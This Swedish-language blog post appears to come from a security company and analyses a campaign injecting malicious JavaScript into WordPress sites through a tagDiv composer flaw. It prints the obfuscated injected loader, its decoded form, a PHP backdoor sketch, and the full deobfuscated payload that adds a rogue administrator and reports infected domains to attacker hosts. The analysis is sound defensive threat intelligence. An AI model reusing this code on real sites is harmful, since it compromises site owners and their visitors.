Klockan 19:07 på fredagen den 8e september fick vi ett larm från vårt system att potentiellt skadlig kod upptäckts på en svensk hemsida. Några timmar senare kom ett liknande larm för en annan sida och snart därefter, ännu en ny sida. Vi började ana att en ny infektion hade börjat spridas.
De infekterade sidorna har följande JavaScript kod:
<script>var iz=String;eval(iz.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,112,115,58,47,47,115,116,97,121,46,100,101,99,101,110,116,114,97,108,97,112,112,112,115,46,99,111,109,47,115,114,99,47,112,97,103,101,46,106,115,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));</script>
Koden använder fromCharCode
för att skapa en sträng av en
lista med nummer, en teknik vi sett tidigare från angripare.
Om vi avkodar detta får vi koden nedan.
function isScriptLoaded(src)
{
return Boolean(document.querySelector('script[src="' + src + '"]'));
}
var bd = "https://stay.decentralappps.com/src/page.js";
if(isScriptLoaded(bd)===false){
var d=document;var s=d.createElement('script');
s.src=bd;
if (document.currentScript) {
if(document.currentScript.parentNode!==null){
document.currentScript.parentNode.insertBefore(s, document.currentScript);
}
}
else {
if(d.getElementsByTagName('head')[0]!==null){
d.getElementsByTagName('head')[0].appendChild(s);
}
}
}
Den här koden hämtar mer kod från stay.decentralappps.com,
specifik https://stay.decentralappps.com/src/page.js[mirror].
Koden är obfuskerad, en metod angriparna använder för att göra det svårare att förstå vad koden faktiskt gör. Istället för att mödosamt försöka deobfuskera koden tog vi istället ett dynamisk tillvägagångssätt och besökte de sidor som blivit infekterade. Vanligtvis har vi sett liknande kod användas för att dirigera om använder till diverse reklamsidor. Men efter att vi besökte den infekterade sidan verkade det som att koden, till vår förvåning, inte gjorde något alls.
Utan deobfuskering kan vi se att koden verkar kolla om besökaren har den specifika cookien "wp-settings-time". Den här cookien är används normalt av WordPress.
if(_0xb373c3||getCookie('wp-settings-time')!=null){
if(getCookie(_0x2b110f)!=null){}else setCookie(_0x2b110f,0x1,0x5a);}
var _0x55f802=document[_0x5a22b2(0xdd)][_0x5a22b2(0xd4)](_0x5a22b2(0xc3))
!==-0x1;if(_0x55f802){ ...
För att testa detta skapade vi en egen WordPress hemsida och "infekterade" oss själva. Som en vanlig besökare gjorde koden fortfarande ingenting men efter att vi loggat in som administratör, vilket skapar "wp-settings-time" cookien så började koden göra saker.
Genom att observera nätverkstrafiken ser vi att koden först gör ett vanligt GET anropp till users.php, följt av en liknande till user-new.php. Därefter gör koden ett POST anropp till user-new.php med följande data:
"params": [
{"name": "action", "value": "createuser"},
{"name": "_wpnonce_create-user", "value": "0946e5aa79"},
{"name": "user_login", "value": "greeceman"},
{"name": "email", "value": "greeceman@mail.com"},
{"name": "pass1", "value": "[hemligt]"},
{"name": "pass2", "value": "[hemligt]"},
{"name": "role", "value": "administrator"}
]
Som vi kan se skapar den alltså en ny WordPress administratör med namnet greeceman och emailen greeceman@mail.com. Att hitta lösenordet lämnar vi som en övning till läsaren.
Slutligen skickas den infekterade domänen tillbaka till angriparna via ett GET anropp till: https://cell.decentralappps.com/set.php?z=[infekterad_domän]. Notera här att endast domänen skickas, inga användarnamn eller lösenord. Det visar sig att samma användarnamn och lösenord används för alla infekterade hemsidor.
Eftersom koden hämtas dynamiskt från samma URL kan vi periodisk kolla om koden uppdateras. Nedan presenterar vi de olika versionerna vi sett, i kronologisk ordning.
Efter ca en dag uppdaterades koden på https://stay.decentralappps.com/src/page.js. Angriparna insåg rätt snabbt att det är en dålig idé att använda samma lösenord överallt och började istället slumpa lösenorden och skicka dem till deras server. Lösenordet är 12 tecken plus ett @ i slutet.
Snart därpå uppdaterades även formatet för användarnamnet till:
window.location.hostname.replace("www.","").replace(".","u").substring(0,4)+"mann";
Så för sakerhetsnatet.se hade användaren sakemann lagts till.
Den 14e september kom version 3 som nu skippar hela delen med att lägga till användare. Istället användas WordPress "theme editor" för att lägga till PHP kod i 404.php filen för temat "Newspaper". Intressant här var att detta fungerar endast om temat Newspaper finns. Detta gav även en ledtråd till att sårbarheten troligtvis var relaterad till just detta tema. Den skadliga PHP koden kör ungefär:
if($_POST['i']=='i'){
echo md5('i');
die();
}
if(md5(md5($_POST['i']))==="ee7498f635451d5e120974f60df32478") {
// kör base64_decode($_POST['ii']);
}
Detta tillåter angriparna att testa om sidan är infekterad genom
att skicka $_POST['i']='i'
och se om det får en hash
tillbaka. Om så är fallet, kan angriparna byta värdet på
$_POST['i']
till "lösenordet" som matchar md5 hashen samt
lägga till koden de vill exekvera i $_POST['ii']
.
Den 21e september uppdaterade angriparna koden igen. Nu är koden mer generell och kräver inte längre att temat "Newspaper" finns. De laddar istället upp ett nytt plugin som heter wp-zexit. Detta ledde även till en tråd på Reddit där det går att läsa mer om folk som blivit infekterade.
Koden för wp-zexit hämtas dynamiskt från https://stock.decentralappps.com/best.php?f=f
Likt andra skadliga plugins, använder de tricks för att gömma installationen. Samtidigt, använder de samma kod som i version 4 för att ge angriparna kodexekveringsmöjligheter.
Det mesta pekar mot att det rör sig om en unauthenticated stored-XSS i tagDiv composer. Vad det betyder är att en angriparna kan lägga till JavaScript kod på en WordPress sida utan att ens vara inloggad. Dock kan de inte lägga till PHP kod utan måste därför använda XSS och vänta på att en administratör ska besöka sidan och exekvera koden. Vi är inte säkra på om det är CVE-2023-3169 (publicerad i Augusti) eller en nyare, men liknande sårbarhet.
Genom att använda en honungsfälla (eng. Honeypot) kunde vi infektera oss själva och vänta på att angriparna skulle besöka vår sida. Med version 2 av koden infekterade vi oss sjävla 11e September och två dagar senare loggade angriprna in med rätt lösenord. De verkar inte gjort något efter att det loggat in. Möjligtvis testade de bara om infektionen hade lyckats i väntan på nästa fas.
För version 4 kom ett anropp till /wwryeryyj för att generera ett 404 svar. Via detta fick få också tillgång till deras lösenord som matchar hashen. Vi delar de inte allmänt men eftersom det är dubbel-hashat kan vi säga att:
md5(md5([hemligt])) == md5(28bdbc72ddf785a3d9ec1ad1addaae74) == "ee7498f635451d5e120974f60df32478"Koden de försökte exekvera var:
echo 346346463;
, ännu ett test.
Vår honungsfälla var dock inte helt dynamisk, av säkerhetsskäl, så koden kördes
inte. Därför vet vi inte om de skulle kört mer kod efter "echo" testet.
Har du sett liknande kod på din hemsida? Har du några frågor? Kontaka gärna oss på Kontakt.
VirusTotal stay.decentralappps.com, endast BitDefender markerar den. Första gången på VirusTotal: 2023-09-08 22:19:14 UTC.
Med hjälp av vår insamlade data och analysmetoder kan vi även snabbt hitta liknande attacker.
T.ex. genom att söka efter funktionen isScriptLoaded
som användes hittar
vi denna liknande kod som istället använder domänen sleep.stratosbody.com.
Vad koden på den domänen gör kanske blir ett eget case.
function isScriptLoaded(src)
{
return Boolean(document.querySelector('script[src="' + src + '"]'));
}
var bd = "htt"+"ps:"+"/"+"/s"+"lee"+"p.stra"+"t"+"osb"+"ody.com/"+"sc"+"rip"+"t"+"s/hea"+"d.j"+"s"+"?"+"v=3"+"."+"9"+".0";
...
Vill ni läsa mer om denna attack har även GeoEdge skrivit om det här: Balada Injector 2.0: Evading Detection & Gaining Persistence. Notera att de specifik skriver om vad vi kallar version 2 av koden.
Vi kan även notera att sleep.stratosbody.com och stay.decentralappps.com har samma IP. Men hjälp av urlscan.io (https://urlscan.io/search/#page.ip:%2288.151.192.253%22) kan vi se att liknande attacker åtminstone varit aktivt sedan 30e Augusti.
https://obf-io.deobfuscate.io/ var till stor hjälp för deobfuskering!
function zpp() {
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/users.php";
var wp_nonceRegex = /greeceman/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = wp_nonceRegex.exec(ajaxRequest.responseText);
if (nonceMatch != null) {} else {
var requestURL = "/wp-admin/user-new.php";
var wp_nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = wp_nonceRegex.exec(ajaxRequest.responseText);
if (nonceMatch != null) {
var nonce = nonceMatch[0x1];
console.log(nonce);
var params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_lo" + "gin=g" + 'reece' + 'man&email=greece' + "man@mail.com&pa" + 'ss1=[hemligt]&pass2=[hemligt]&r' + "ole=administ" + '' + "rator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open('GET', "https://cell.decentralappps.com/set.php?z=" + window.location.hostname, false);
ajaxRequest.send();
}
}
}
function setCookie(_0x38cc67, _0xb1fc2e, _0x236610) {
var _0x231684 = '';
if (_0x236610) {
var _0xc99932 = new Date();
_0xc99932.setTime(_0xc99932.getTime() + _0x236610 * 0x8 * 0x3c * 0x3c * 0x3e8);
_0x231684 = "; expires=" + _0xc99932.toUTCString();
}
document.cookie = _0x38cc67 + '=' + (_0xb1fc2e || '') + _0x231684 + "; path=/";
}
function getCookie(_0x1e9227) {
var _0x130faa = _0x1e9227 + '=';
var _0x1ad744 = document.cookie.split(';');
for (var _0x31a4b2 = 0x0; _0x31a4b2 < _0x1ad744.length; _0x31a4b2++) {
var _0xc25e72 = _0x1ad744[_0x31a4b2];
while (_0xc25e72.charAt(0x0) == " ") {
_0xc25e72 = _0xc25e72.substring(0x1, _0xc25e72.length);
}
if (_0xc25e72.indexOf(_0x130faa) == 0x0) {
return _0xc25e72.substring(_0x130faa.length, _0xc25e72.length);
}
}
return null;
}
function gtadm() {
var _0xb373c3 = document.cookie.indexOf('wp-settings') !== -0x1;
if (_0xb373c3 || getCookie('wp-settings-time') != null) {
if (getCookie("wpsapiadmin") != null) {} else {
setCookie("wpsapiadmin", 0x1, 0x5a);
}
}
var _0x55f802 = document.cookie.indexOf("logged_in") !== -0x1;
if (_0x55f802) {
if (getCookie("wpsapiadmin") != null) {} else {
setCookie("wpsapiadmin", 0x1, 0x5a);
}
}
var _0x112436 = window.location.href;
if (_0x112436.indexOf("/wp-admin") !== -0x1) {
if (getCookie("wpsapiadmin") != null) {} else {
setCookie("wpsapiadmin", 0x1, 0x5a);
}
}
if (_0x112436.indexOf("wp-login.php") !== -0x1) {
if (getCookie("wpsapiadmin") != null) {} else {
setCookie("wpsapiadmin", 0x1, 0x5a);
}
}
if (getCookie("wpsapiadmin") != null) {
zpp();
}
}
gtadm();